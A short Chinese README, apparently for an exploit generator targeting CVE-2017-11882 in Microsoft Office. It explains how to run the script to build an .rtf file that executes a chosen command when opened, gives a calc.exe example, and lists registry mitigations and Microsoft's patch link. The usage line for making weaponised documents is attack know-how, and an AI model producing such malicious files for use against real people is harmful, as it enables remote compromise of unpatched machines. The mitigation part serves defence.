Microsoft Office 软件在处理内存中的对象时存在一个远程代码执行漏洞。成功利用此漏洞的攻击者可以在当前用户上下文中运行任意代码。
这是从 Embedi 制作的原始 PoC 重新编辑而来的,用于生成包含远程命令执行的单个 .rtf 文件。
python 2017-11882_Generator.py -x command_to_execute -o output_file_name
示例: python 2017-11882_Generator.py -x "cmd /c calc" -o test.rtf
对于 x86 操作系统上的 32 位 Microsoft Office 包: reg add "HKLM\SOFTWARE\Microsoft\Office\Common\COM Compatibility{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400
对于 x64 操作系统上的 32 位 Microsoft Office 包: reg add "HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\Common\COM Compatibility{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400
微软已发布补丁 https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882